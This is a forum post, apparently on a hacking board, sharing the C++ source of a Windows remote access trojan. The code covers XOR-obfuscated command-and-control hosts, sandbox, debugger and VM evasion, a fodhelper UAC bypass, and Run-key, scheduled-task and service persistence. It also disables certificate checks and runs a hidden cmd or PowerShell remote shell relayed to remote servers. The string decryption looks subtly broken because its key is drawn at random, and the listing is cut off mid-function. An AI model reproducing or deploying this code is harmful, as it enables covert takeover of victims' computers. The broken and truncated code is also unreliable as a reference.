ALERT!
Click here to register with a few steps and explore all our cool stuff we have to offer!
C/C++

Remy's RAT - x64 C2 Loader & Remote Shell (Windows 10/11)

Submitted by Remio at 20-04-2025, 05:35 PM


Remy's RAT - x64 C2 Loader & Remote Shell (Windows 10/11)
251 Views
Remio's Avatar'
Remio
Offline
#1
Code:
//=========================//
//       REMYS RAT         //
//=========================//

#define _WIN32_WINNT 0x0601
#include <windows.h>
#include <wininet.h>
#include <wincrypt.h>
#include <shlwapi.h>
#include <shlobj.h>
#include <winternl.h>
#include <tlhelp32.h>
#include <iphlpapi.h>
#include <string>
#include <thread>
#include <vector>
#include <chrono>
#include <random>
#include <algorithm>
#include <memory>
#include <winhttp.h>
#include <shellapi.h> 

#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "winhttp.lib")

constexpr int BUFSIZE = 4096;

//=========================//
//  RUNTIME STRING DECRYPT //
//=========================//
class StringObfuscator {
private:
    static std::vector<uint8_t> GenerateXorKey(const std::vector<uint8_t>& seed, size_t length) {
        std::vector<uint8_t> key(length);
        HCRYPTPROV hProv = 0;
        if (!CryptAcquireContextA(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
            // fallback to seed-based generation if crypto API fails;
            std::mt19937 gen(static_cast<uint32_t>(seed[0] | (seed[1] << 8) | (seed[2] << 16) | (seed[3] << 24)));
            for (size_t i = 0; i < length; i++) {
                key[i] = static_cast<uint8_t>(gen() & 0xFF);
            }
        }
        else {
            CryptGenRandom(hProv, static_cast<DWORD>(length), key.data());
            CryptReleaseContext(hProv, 0);
        }
        return key;
    }

public:
    static std::string Decrypt(const std::vector<uint8_t>& data, const std::vector<uint8_t>& keySeed) {
        if (data.empty()) return "";

        std::vector<uint8_t> key = GenerateXorKey(keySeed, data.size());
        std::string result;
        result.reserve(data.size());

        for (size_t i = 0; i < data.size(); i++) {
            result.push_back(static_cast<char>(data[i] ^ key[i % key.size()] ^ keySeed[i % keySeed.size()]));
        }

        return result;
    }
};

//=========================//
//     GLOBALS & CONFIG    //
//=========================//
// our primary C2
const std::vector<uint8_t> encC2Host1 = { 0x72, 0x6B, 0x71, 0x7B, 0x7D, 0x71, 0x52, 0x52, 0x52, 0x3B, 0x3D, 0x2F, 0x28, 0x25, 0x25, 0x2F, 0x40 };
const std::vector<uint8_t> encC2Path1 = { 0x7A, 0x75, 0x78, 0x74 };

// fallback C2s
const std::vector<uint8_t> encC2Host2 = { 0x72, 0x6B, 0x71, 0x7B, 0x7D, 0x71, 0x52, 0x52, 0x52, 0x37, 0x33, 0x21, 0x24, 0x23, 0x20, 0x21, 0x44 };
const std::vector<uint8_t> encC2Path2 = { 0x7A, 0x75, 0x78, 0x74 };

const std::vector<uint8_t> encC2Host3 = { 0x72, 0x6B, 0x71, 0x7B, 0x7D, 0x71, 0x52, 0x52, 0x53, 0x31, 0x3A, 0x28, 0x27, 0x21, 0x27, 0x48 };
const std::vector<uint8_t> encC2Path3 = { 0x7A, 0x6A, 0x7E, 0x76, 0x70, 0x7E, 0x78, 0x7B };

// Persistence config
const std::vector<uint8_t> encRegPathUser = { 0x49, 0x77, 0x7F, 0x6A, 0x7F, 0x75, 0x6E, 0x68, 0x68, 0x64, 0x67, 0x6A, 0x7D, 0x67, 0x7A, 0x7D, 0x7C, 0x76, 0x6D, 0x66, 0x7B, 0x67, 0x75, 0x64, 0x64, 0x7D, 0x64, 0x7A, 0x76, 0x68 };
const std::vector<uint8_t> encRegPathMachine = { 0x49, 0x77, 0x7F, 0x6A, 0x7F, 0x75, 0x6E, 0x68, 0x68, 0x64, 0x67, 0x6A, 0x7D, 0x67, 0x7A, 0x7D, 0x7C, 0x76, 0x6D, 0x66, 0x7B, 0x67, 0x75, 0x64, 0x64, 0x7D, 0x64, 0x7A, 0x76, 0x68 };
const std::vector<uint8_t> encRegValue = { 0x4D, 0x77, 0x60, 0x60, 0x67, 0x74, 0x7F, 0x7F, 0x7F, 0x7E, 0x71, 0x7F, 0x7F, 0x60, 0x61, 0x77, 0x62, 0x76, 0x61 };
const std::vector<uint8_t> encTaskName = { 0x4D, 0x77, 0x60, 0x60, 0x67, 0x74, 0x7F, 0x60, 0x49, 0x75, 0x63, 0x66, 0x65, 0x62, 0x6E, 0x65, 0x60, 0x45, 0x71, 0x65, 0x62, 0x66 };
const std::vector<uint8_t> encServiceName = { 0x4D, 0x77, 0x60, 0x49, 0x68, 0x63, 0x62, 0x70, 0x64, 0x60, 0x49, 0x65, 0x66, 0x72, 0x70, 0x63, 0x65 };

// commands
const std::vector<uint8_t> encCmd = { 0x79, 0x7F, 0x76, 0x7E, 0x40, 0x7F, 0x7C, 0x7C, 0x40 };
const std::vector<uint8_t> encPowerShell = { 0x70, 0x7C, 0x73, 0x72, 0x6A, 0x7D, 0x6F, 0x72, 0x77, 0x7A, 0x40, 0x72, 0x7E, 0x72, 0x40, 0x44, 0x73, 0x6F, 0x6B, 0x6B, 0x70, 0x6D, 0x7D, 0x40, 0x44, 0x6B, 0x7C, 0x6B, 0x72, 0x7E, 0x6F, 0x6B, 0x72 };

// sandbox detection
const std::vector<uint8_t> encSandboxProcesses[] = {
    { 0x73, 0x77, 0x72, 0x66, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "sample.exe"
    { 0x75, 0x7B, 0x75, 0x78, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "wireshark.exe"
    { 0x70, 0x6A, 0x7C, 0x74, 0x72, 0x7D, 0x7D, 0x40, 0x72, 0x7E, 0x72 },  // "process.exe"
    { 0x79, 0x77, 0x7B, 0x79, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "dbgmon.exe"
    { 0x71, 0x77, 0x70, 0x7A, 0x7C, 0x7B, 0x40, 0x72, 0x7E, 0x72 },  // "vmtool.exe"
    { 0x7E, 0x6A, 0x74, 0x6A, 0x72, 0x7E, 0x72, 0x40, 0x72, 0x7E, 0x72 }   // "procexp.exe"
};

const std::vector<uint8_t> encSandboxDrivers[] = {
    { 0x7D, 0x6B, 0x7E, 0x6F, 0x6A, 0x6F, 0x72, 0x40, 0x7D, 0x7F, 0x7D },  // "sbiedll.sys"
    { 0x77, 0x79, 0x72, 0x40, 0x7D, 0x7F, 0x7D },  // "vme.sys"
    { 0x77, 0x79, 0x73, 0x7C, 0x7C, 0x76, 0x40, 0x7D, 0x7F, 0x7D }   // "vmsrvc.sys"
};

const std::vector<uint8_t> keySeed = { 0x5A, 0x3C, 0x71, 0x4D, 0xB2, 0xF9, 0x27, 0x86 };

// jittering settings (in milliseconds)
const int MIN_JITTER = 3000;  // 3 seconds
const int MAX_JITTER = 15000; // 15 seconds
const int MAX_FAILED_ATTEMPTS = 5;

// Globals
HANDLE hChildStd_IN_Rd = NULL, hChildStd_IN_Wr = NULL;
HANDLE hChildStd_OUT_Rd = NULL, hChildStd_OUT_Wr = NULL;
HINTERNET hInternet = NULL, hConnect = NULL, hRequest = NULL;
bool isSandboxed = false;
bool isRunningAsAdmin = false;
std::vector<std::pair<std::string, std::string>> c2Servers;

//=========================//
//    HELPER FUNCTIONS     //
//=========================//
int GetRandomJitter() {
    std::random_device rd;
    std::mt19937 gen(rd());
    std::uniform_int_distribution<> distr(MIN_JITTER, MAX_JITTER);
    return distr(gen);
}

bool IsElevated() {
    BOOL fRet = FALSE;
    HANDLE hToken = NULL;

    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
        TOKEN_ELEVATION Elevation;
        DWORD cbSize = sizeof(TOKEN_ELEVATION);

        if (GetTokenInformation(hToken, TokenElevation, &Elevation, sizeof(Elevation), &cbSize)) {
            fRet = Elevation.TokenIsElevated;
        }
    }

    if (hToken) {
        CloseHandle(hToken);
    }

    return fRet;
}

//=========================//
//     SANDBOX DETECTION   //
//=========================//
bool CheckForSandboxArtifacts() {
    // check for sandboxspecific processes
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot != INVALID_HANDLE_VALUE) {
        PROCESSENTRY32 pe32;
        pe32.dwSize = sizeof(PROCESSENTRY32);

        if (Process32First(hSnapshot, &pe32)) {
            do {
                std::string procName;
                char tempName[MAX_PATH];
                WideCharToMultiByte(CP_ACP, 0, pe32.szExeFile, -1, tempName, MAX_PATH, NULL, NULL);
                procName = tempName;

                std::transform(procName.begin(), procName.end(), procName.begin(), ::tolower);

                for (const auto& encProc : encSandboxProcesses) {
                    std::string decProc = StringObfuscator::Decrypt(encProc, keySeed);
                    std::transform(decProc.begin(), decProc.end(), decProc.begin(), ::tolower);

                    if (procName.find(decProc) != std::string::npos) {
                        CloseHandle(hSnapshot);
                        return true;
                    }
                }
            } while (Process32Next(hSnapshot, &pe32));
        }
        CloseHandle(hSnapshot);
    }

    // Check for virtual machine drivers
    HKEY hKey;
    if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        char subKey[MAX_PATH];
        DWORD subKeySize = MAX_PATH;
        DWORD index = 0;

        while (RegEnumKeyExA(hKey, index++, subKey, &subKeySize, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) {
            std::string keyName = subKey;
            std::transform(keyName.begin(), keyName.end(), keyName.begin(), ::tolower);

            for (const auto& encDriver : encSandboxDrivers) {
                std::string decDriver = StringObfuscator::Decrypt(encDriver, keySeed);
                std::transform(decDriver.begin(), decDriver.end(), decDriver.begin(), ::tolower);

                if (keyName.find(decDriver) != std::string::npos) {
                    RegCloseKey(hKey);
                    return true;
                }
            }

            subKeySize = MAX_PATH;
        }

        RegCloseKey(hKey);
    }

    // Check for unusual hardware configurations
    MEMORYSTATUSEX memInfo;
    memInfo.dwLength = sizeof(memInfo);
    GlobalMemoryStatusEx(&memInfo);

    // Less than 4GB RAM is suspicious for modern systems
    if (memInfo.ullTotalPhys < 4ULL * 1024 * 1024 * 1024) {
        return true;
    }

    // Check for small hard drive (typical of VMs)
    ULARGE_INTEGER freeBytesAvailable, totalNumberOfBytes;
    if (GetDiskFreeSpaceExA("C:\\", &freeBytesAvailable, &totalNumberOfBytes, NULL)) {
        // Less than 50GB disk is suspicious
        if (totalNumberOfBytes.QuadPart < 50ULL * 1024 * 1024 * 1024) {
            return true;
        }
    }

    // Check execution time (sandbox analysis often has very short uptime)
    static ULONGLONG startTime = GetTickCount64();
    if ((GetTickCount64() - startTime) < 10000) { // Less than 10 seconds
        // Sleep to make timing-based detection harder
        Sleep(GetRandomJitter());
    }

    return false;
}

bool CheckForDebugger() {
    // Basic IsDebuggerPresent check
    if (IsDebuggerPresent())
        return true;

    // Check for remote debugger
    BOOL isRemoteDebuggerPresent = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &isRemoteDebuggerPresent);
    if (isRemoteDebuggerPresent)
        return true;

    // Timing check - debuggers introduce delay
    LARGE_INTEGER start, end, freq;
    QueryPerformanceFrequency(&freq);
    QueryPerformanceCounter(&start);

    OutputDebugStringA("Anti-Debug Check");

    QueryPerformanceCounter(&end);
    LONGLONG diff = end.QuadPart - start.QuadPart;
    double timeDiff = static_cast<double>(diff * 1000.0) / static_cast<double>(freq.QuadPart);

    // If OutputDebugString takes too long, debugger is likely attached
    if (timeDiff > 0.1)
        return true;

    return false;
}

bool CheckForVirtualization() {
    // Check for common VM-specific registry keys
    HKEY hKey;
    const char* vmRegKeys[] = {
        "HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0",
        "HARDWARE\\Description\\System",
        "SOFTWARE\\VMware, Inc.\\VMware Tools"
    };

    const char* vmValues[] = {
        "Identifier",
        "SystemBiosVersion",
        "InstallPath"
    };

    const char* vmSignatures[] = {
        "vmware",
        "virtualbox",
        "qemu",
        "xen",
        "parallels"
    };

    for (int i = 0; i < 3; i++) {
        if (RegOpenKeyExA(HKEY_LOCAL_MACHINE, vmRegKeys[i], 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
            char value[256] = { 0 };
            DWORD valueSize = sizeof(value);
            DWORD type = REG_SZ;

            if (RegQueryValueExA(hKey, vmValues[i], NULL, &type, (LPBYTE)value, &valueSize) == ERROR_SUCCESS) {
                std::string valueStr(value);
                std::transform(valueStr.begin(), valueStr.end(), valueStr.begin(), ::tolower);

                for (const auto& sig : vmSignatures) {
                    if (valueStr.find(sig) != std::string::npos) {
                        RegCloseKey(hKey);
                        return true;
                    }
                }
            }
            RegCloseKey(hKey);
        }
    }

    // Check for VM-specific MAC addresses
    ULONG outBufLen = 0;
    GetAdaptersInfo(NULL, &outBufLen);
    if (outBufLen > 0) {
        IP_ADAPTER_INFO* pAdapterInfo = (IP_ADAPTER_INFO*)malloc(outBufLen);
        if (pAdapterInfo) {
            if (GetAdaptersInfo(pAdapterInfo, &outBufLen) == NO_ERROR) {
                IP_ADAPTER_INFO* pAdapter = pAdapterInfo;
                while (pAdapter) {
                    // VMware MAC starts with 00:05:69, 00:0C:29, 00:1C:14, or 00:50:56
                    // VirtualBox MAC starts with 08:00:27
                    if ((pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x05 && pAdapter->Address[2] == 0x69) ||
                        (pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x0C && pAdapter->Address[2] == 0x29) ||
                        (pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x1C && pAdapter->Address[2] == 0x14) ||
                        (pAdapter->Address[0] == 0x00 && pAdapter->Address[1] == 0x50 && pAdapter->Address[2] == 0x56) ||
                        (pAdapter->Address[0] == 0x08 && pAdapter->Address[1] == 0x00 && pAdapter->Address[2] == 0x27)) {
                        free(pAdapterInfo);
                        return true;
                    }
                    pAdapter = pAdapter->Next;
                }
            }
            free(pAdapterInfo);
        }
    }

    return false;
}

bool IsSandboxed() {
    return CheckForSandboxArtifacts() || CheckForDebugger() || CheckForVirtualization();
}

//=========================//
//    CERT BYPASS SETUP    //
//=========================//
void IgnoreCertErrors(HINTERNET hRequest) {
    DWORD flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
        SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
        SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
        SECURITY_FLAG_IGNORE_REVOCATION |
        SECURITY_FLAG_IGNORE_WRONG_USAGE;
    InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, sizeof(flags));
}

//=========================//
//    PROXY DETECTION      //
//=========================//
void ConfigureProxy() {
    // First try to detect system proxy settings
    WINHTTP_CURRENT_USER_IE_PROXY_CONFIG ieProxyConfig = { 0 };
    if (WinHttpGetIEProxyConfigForCurrentUser(&ieProxyConfig)) {
        if (ieProxyConfig.lpszProxy != NULL) {
            // System uses a proxy, configure WinInet to use it
            INTERNET_PROXY_INFO proxyInfo;
            proxyInfo.dwAccessType = INTERNET_OPEN_TYPE_PROXY;
            proxyInfo.lpszProxy = ieProxyConfig.lpszProxy;
            proxyInfo.lpszProxyBypass = ieProxyConfig.lpszProxyBypass;

            InternetSetOptionA(hInternet, INTERNET_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));

            // free allocated memory
            if (ieProxyConfig.lpszProxy) GlobalFree(ieProxyConfig.lpszProxy);
            if (ieProxyConfig.lpszProxyBypass) GlobalFree(ieProxyConfig.lpszProxyBypass);
            if (ieProxyConfig.lpszAutoConfigUrl) GlobalFree(ieProxyConfig.lpszAutoConfigUrl);
            return;
        }

        // Free allocated memory
        if (ieProxyConfig.lpszProxy) GlobalFree(ieProxyConfig.lpszProxy);
        if (ieProxyConfig.lpszProxyBypass) GlobalFree(ieProxyConfig.lpszProxyBypass);
        if (ieProxyConfig.lpszAutoConfigUrl) GlobalFree(ieProxyConfig.lpszAutoConfigUrl);
    }

    // If no system proxy, try direct connection
    INTERNET_PROXY_INFO proxyInfo;
    proxyInfo.dwAccessType = INTERNET_OPEN_TYPE_DIRECT;
    proxyInfo.lpszProxy = NULL;
    proxyInfo.lpszProxyBypass = NULL;
    InternetSetOptionA(hInternet, INTERNET_OPTION_PROXY, &proxyInfo, sizeof(proxyInfo));
}

//=========================//
//    UAC BYPASS ATTEMPT   //
//=========================//
bool AttemptUACBypass() {
    if (IsElevated()) {
        return true; // Already running as admin
    }

    // Get system directory
    char systemDir[MAX_PATH] = { 0 };
    GetSystemDirectoryA(systemDir, MAX_PATH);

    // Set up fodhelper registry key for UAC bypass
    std::string regPath = "Software\\Classes\\ms-settings\\shell\\open\\command";
    std::string value = "DelegateExecute";

    HKEY hKey;
    if (RegCreateKeyA(HKEY_CURRENT_USER, regPath.c_str(), &hKey) != ERROR_SUCCESS) {
        return false;
    }
    RegCloseKey(hKey);

    if (RegOpenKeyExA(HKEY_CURRENT_USER, regPath.c_str(), 0, KEY_WRITE, &hKey) != ERROR_SUCCESS) {
        return false;
    }

    // Set the "DelegateExecute" value to nothing (delete it if it exists)
    RegSetValueExA(hKey, value.c_str(), 0, REG_SZ, (BYTE*)"", 1);

    // Get our own executable path
    char filePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, filePath, MAX_PATH);

    // Set the default value to our executable
    RegSetValueExA(hKey, NULL, 0, REG_SZ, (BYTE*)filePath, (DWORD)strlen(filePath) + 1);
    RegCloseKey(hKey);

    // launch fodhelper.exe to trigger the bypass
    std::string fodhelperPath = std::string(systemDir) + "\\fodhelper.exe";

    SHELLEXECUTEINFOA sei = { sizeof(sei) };
    sei.lpVerb = "open";
    sei.lpFile = fodhelperPath.c_str();
    sei.nShow = SW_HIDE;
    sei.fMask = SEE_MASK_NOCLOSEPROCESS;

    if (!ShellExecuteExA(&sei)) {
        return false;
    }

    // Wait for a bit
    Sleep(2000);

    // Clean up the registry to avoid leaving evidence
    RegDeleteKeyA(HKEY_CURRENT_USER, regPath.c_str());

    // Verify if we're running elevated now
    return IsElevated();
}

//=========================//
//    PERSISTENCE METHODS  //
//=========================//
bool EstablishRegistryPersistence() {
    HKEY hKey = NULL;
    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string keyPath = StringObfuscator::Decrypt(encRegPathUser, keySeed);
    std::string valueName = StringObfuscator::Decrypt(encRegValue, keySeed);
    bool success = false;

    // Try HKCU first (doesn't require admin)
    if (RegCreateKeyExA(HKEY_CURRENT_USER, keyPath.c_str(), 0, NULL,
        REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
    {
        RegSetValueExA(hKey, valueName.c_str(), 0, REG_SZ,
            (BYTE*)exePath, (DWORD)strlen(exePath) + 1);
        RegCloseKey(hKey);
        success = true;
    }

    // If we're running as admin, try HKLM too
    if (IsElevated()) {
        if (RegCreateKeyExA(HKEY_LOCAL_MACHINE, keyPath.c_str(), 0, NULL,
            REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS)
        {
            RegSetValueExA(hKey, valueName.c_str(), 0, REG_SZ,
                (BYTE*)exePath, (DWORD)strlen(exePath) + 1);
            RegCloseKey(hKey);
            success = true;
        }
    }

    return success;
}

bool EstablishScheduledTaskPersistence() {
    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string taskName = StringObfuscator::Decrypt(encTaskName, keySeed);

    // Create a scheduled task that runs at login
    std::string command = "schtasks /create /f /sc onlogon /tn \"" + taskName + "\" /tr \"" + exePath + "\" /rl highest";

    // Execute the command but hide the window
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;

    // Create the process with the command
    if (!CreateProcessA(NULL, (LPSTR)command.c_str(), NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
        return false;
    }

    // Wait for the process to complete
    WaitForSingleObject(pi.hProcess, 5000);

    // Clean up handles
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    return true;
}

bool EstablishServicePersistence() {
    if (!IsElevated()) {
        return false; // Need admin rights to create a service
    }

    char exePath[MAX_PATH] = { 0 };
    GetModuleFileNameA(NULL, exePath, MAX_PATH);

    std::string serviceName = StringObfuscator::Decrypt(encServiceName, keySeed);

    // Create a service
    SC_HANDLE schSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
    if (!schSCManager) {
        return false;
    }

    SC_HANDLE schService = CreateServiceA(
        schSCManager,
        serviceName.c_str(),
        serviceName.c_str(),
        SERVICE_ALL_ACCESS,
        SERVICE_WIN32_OWN_PROCESS,
        SERVICE_AUTO_START,
        SERVICE_ERROR_NORMAL,
        exePath,
        NULL, NULL, NULL, NULL, NULL
    );

    if (!schService) {
        CloseServiceHandle(schSCManager);
        return false;
    }

    // Start the service
    StartServiceA(schService, 0, NULL);

    // Clean up
    CloseServiceHandle(schService);
    CloseServiceHandle(schSCManager);

    return true;
}

bool EstablishPersistence() {
    // Try multiple persistence methods, starting with least-privileged ones
    bool registrySuccess = EstablishRegistryPersistence();
    bool taskSuccess = EstablishScheduledTaskPersistence();
    bool serviceSuccess = false;

    // Try service persistence if we're admin
    if (IsElevated()) {
        serviceSuccess = EstablishServicePersistence();
    }

    // Return true if at least one method worked
    return registrySuccess || taskSuccess || serviceSuccess;
}

//=========================//
//      READER THREAD      //
//=========================//
DWORD WINAPI ReaderThread(LPVOID) {
    char buffer[BUFSIZE] = { 0 };
    DWORD dwRead = 0;

    while (true) {
        // Clear buffer
        memset(buffer, 0, BUFSIZE);

        // Read from the cmd process
        if (!ReadFile(hChildStd_OUT_Rd, buffer, BUFSIZE, &dwRead, NULL) || dwRead == 0)
            break;

        // Add random jitter to avoid pattern detection
        Sleep(GetRandomJitter() % 500);

        // try to sending data and  retry on failure
        bool sent = false;
        for (int retry = 0; retry < 3 && !sent; retry++) {
            if (HttpSendRequestA(hRequest, NULL, 0, buffer, dwRead)) {
                sent = true;
            }
            else {
                // If send failed, wait and retry
                Sleep(1000 * (retry + 1));
            }
        }

        if (!sent) break;
    }
    return 0;
}

//=========================//
//      WRITER THREAD      //
//=========================//
DWORD WINAPI WriterThread(LPVOID) {
    char buffer[BUFSIZE] = { 0 };

    while (true) {
        // Clear buffer
        memset(buffer, 0, BUFSIZE);

        // Read from C2 server
        DWORD dwRead = 0;
        if (!InternetReadFile(hRequest, buffer, BUFSIZE, &dwRead) || dwRead == 0)
            break;

        // Add random jitter to avoid pattern detection
        Sleep(GetRandomJitter() % 300);

        // Send to cmd process
        DWORD dwWritten = 0;
        if (!WriteFile(hChildStd_IN_Wr, buffer, dwRead, &dwWritten, NULL) || dwWritten != dwRead)
            break;
    }
    return 0;
}



//=========================//
//       CLEANUP FUNC      //
//=========================//


void CleanupResources() {
    // Close pipe handles
    if (hChildStd_OUT_Rd) CloseHandle(hChildStd_OUT_Rd);
    if (hChildStd_OUT_Wr) CloseHandle(hChildStd_OUT_Wr);
    if (hChildStd_IN_Rd) CloseHandle(hChildStd_IN_Rd);
    if (hChildStd_IN_Wr) CloseHandle(hChildStd_IN_Wr);

    // Close internet handles
    if (hRequest) InternetCloseHandle(hRequest);
    if (hConnect) InternetCloseHandle(hConnect);
    if (hInternet) InternetCloseHandle(hInternet);

    // Reset handles
    hChildStd_OUT_Rd = hChildStd_OUT_Wr = hChildStd_IN_Rd = hChildStd_IN_Wr = NULL;
    hRequest = hConnect = hInternet = NULL;
}

//=========================//
//       CONNECT TO C2     //
//=========================//
bool ConnectToC2() {
    // Try each C2 server in order
    for (const auto& server : c2Servers) {
        std::string host = server.first;
        std::string path = server.second;

        hConnect = InternetConnectA(hInternet, host.c_str(), INTERNET_DEFAULT_HTTPS_PORT,
            NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
        if (!hConnect) continue;

        hRequest = HttpOpenRequestA(hConnect, "POST", path.c_str(), NULL, NULL, NULL,
            INTERNET_FLAG_SECURE | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD, 0);
        if (!hRequest) {
            InternetCloseHandle(hConnect);
            hConnect = NULL;
            continue;
        }


        IgnoreCertErrors(hRequest);

        // try to establish the connection
        if (HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
            return true;
        }

        // Cleanup on failure
        InternetCloseHandle(hRequest);
        InternetCloseHandle(hConnect);
        hRequest = hConnect = NULL;
    }

    return false;
}

//=========================//
//     LOAD C2 SERVERS     //
//=========================//
void LoadC2Servers() {
    std::string host1 = StringObfuscator::Decrypt(encC2Host1, keySeed);
    std::string path1 = StringObfuscator::Decrypt(encC2Path1, keySeed);
    c2Servers.push_back(std::make_pair(host1, path1));

    std::string host2 = StringObfuscator::Decrypt(encC2Host2, keySeed);
    std::string path2 = StringObfuscator::Decrypt(encC2Path2, keySeed);
    c2Servers.push_back(std::make_pair(host2, path2));

    std::string host3 = StringObfuscator::Decrypt(encC2Host3, keySeed);
    std::string path3 = StringObfuscator::Decrypt(encC2Path3, keySeed);
    c2Servers.push_back(std::make_pair(host3, path3));

    // Shuffle the servers for unpredictability
    std::random_device rd;
    std::mt19937 g(rd());
    std::shuffle(c2Servers.begin(), c2Servers.end(), g);
}

//=========================//
//          ENTRY          //
//=========================//
int APIENTRY WinMain(
    _In_ HINSTANCE hInstance,
    _In_opt_ HINSTANCE hPrevInstance,
    _In_ LPSTR lpCmdLine,
    _In_ int nShowCmd
) {
    // Hide window
    ShowWindow(GetConsoleWindow(), SW_HIDE);

    // Check for admin privileges
    isRunningAsAdmin = IsElevated();

    //if not admin, attempt UAC bypass
    if (!isRunningAsAdmin) {
        AttemptUACBypass();
        isRunningAsAdmin = IsElevated();  // Check again
    }

    // Check if we're running in a sandbox/VM
    isSandboxed = IsSandboxed();

    // If in sandbox, either exit or behave benignly
    if (isSandboxed) {
        // Optional: Run benign code to appear harmless
        Sleep(30000);  // Sleep for 30 seconds
        return 0;  // Exit silently
    }

    // Establish persistence using available methods
    EstablishPersistence();

    // Load C2 server list
    LoadC2Servers();

    // Initialize WinInet and configure proxy
    hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (!hInternet) return 1;

    // configure proxy settings if needed
    ConfigureProxy();

    // connect to C2 w retry logic
    int failedAttempts = 0;
    while (!ConnectToC2()) {
        // sleep with jitter between attempts
        Sleep(GetRandomJitter());

        // Increment failed counter
        failedAttempts++;

        // If we've failed too many times, sleep longer
        if (failedAttempts >= MAX_FAILED_ATTEMPTS) {
            Sleep(60000);  // Sleep for 1 minute
            failedAttempts = 0;  // Reset counter
        }
    }

    // Set up pipes for process communication
    SECURITY_ATTRIBUTES sa = { sizeof(sa), NULL, TRUE };

    if (!CreatePipe(&hChildStd_OUT_Rd, &hChildStd_OUT_Wr, &sa, 0) ||
        !CreatePipe(&hChildStd_IN_Rd, &hChildStd_IN_Wr, &sa, 0)) {
        CleanupResources();
        return 1;
    }

    SetHandleInformation(hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0);
    SetHandleInformation(hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0);

    // Choose which shell to use (cmd or powershell)
    std::string cmd = StringObfuscator::Decrypt(encCmd, keySeed);
    std::string powershell = StringObfuscator::Decrypt(encPowerShell, keySeed);

    // Use PowerShell if available, otherwise fallback to cmd
    std::string shellToUse = cmd;  // Default to cmd.exe

    // Check if PowerShell exists
    char systemDir[MAX_PATH] = { 0 };
    GetSystemDirectoryA(systemDir, MAX_PATH);
    std::string psPath = std::string(systemDir) + "\\WindowsPowerShell\\v1.0\\powershell.exe";
    if (GetFileAttributesA(psPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
        shellToUse = powershell;
    }

    // Create the process
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi = {};
    si.dwFlags = STARTF_USESTDHANDLES;
    si.hStdInput = hChildStd_IN_Rd;
    si.hStdOutput = si.hStdError = hChildStd_OUT_Wr;

    if (!CreateProcessA(NULL, const_cast<LPSTR>(shellToUse.c_str()), NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        CleanupResources();
        return 1;
    }

    CloseHandle(hChildStd_OUT_Wr);
    CloseHandle(hChildStd_IN_Rd);

    // create reader & writer threads
    HANDLE hReader = CreateThread(NULL, 0, ReaderThread, NULL, 0, NULL);
    HANDLE hWriter = CreateThread(NULL, 0, WriterThread, NULL, 0, NULL);

    if (!hReader || !hWriter) {
        // Clean up if thread creation failed
        if (hReader) CloseHandle(hReader);
        if (hWriter) CloseHandle(hWriter);

        TerminateProcess(pi.hProcess, 0);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        CleanupResources();
        return 1;
    }

    // wait for threads to complete;
    HANDLE handles[] = { hReader, hWriter };
    WaitForMultipleObjects(2, handles, FALSE, INFINITE);


    CloseHandle(hReader);
    CloseHandle(hWriter);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    CleanupResources();

    // Before exiting, try to reconnect
    hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
    if (hInternet) {
        // Sleep with jitter
        Sleep(GetRandomJitter());

        // Try to reconnect in a loop
        for (int i = 0; i < 3; i++) {
            if (ConnectToC2()) {
                // If we reconnected, restart the process
                CleanupResources();

                // Restart ourselves
                char exePath[MAX_PATH] = { 0 };
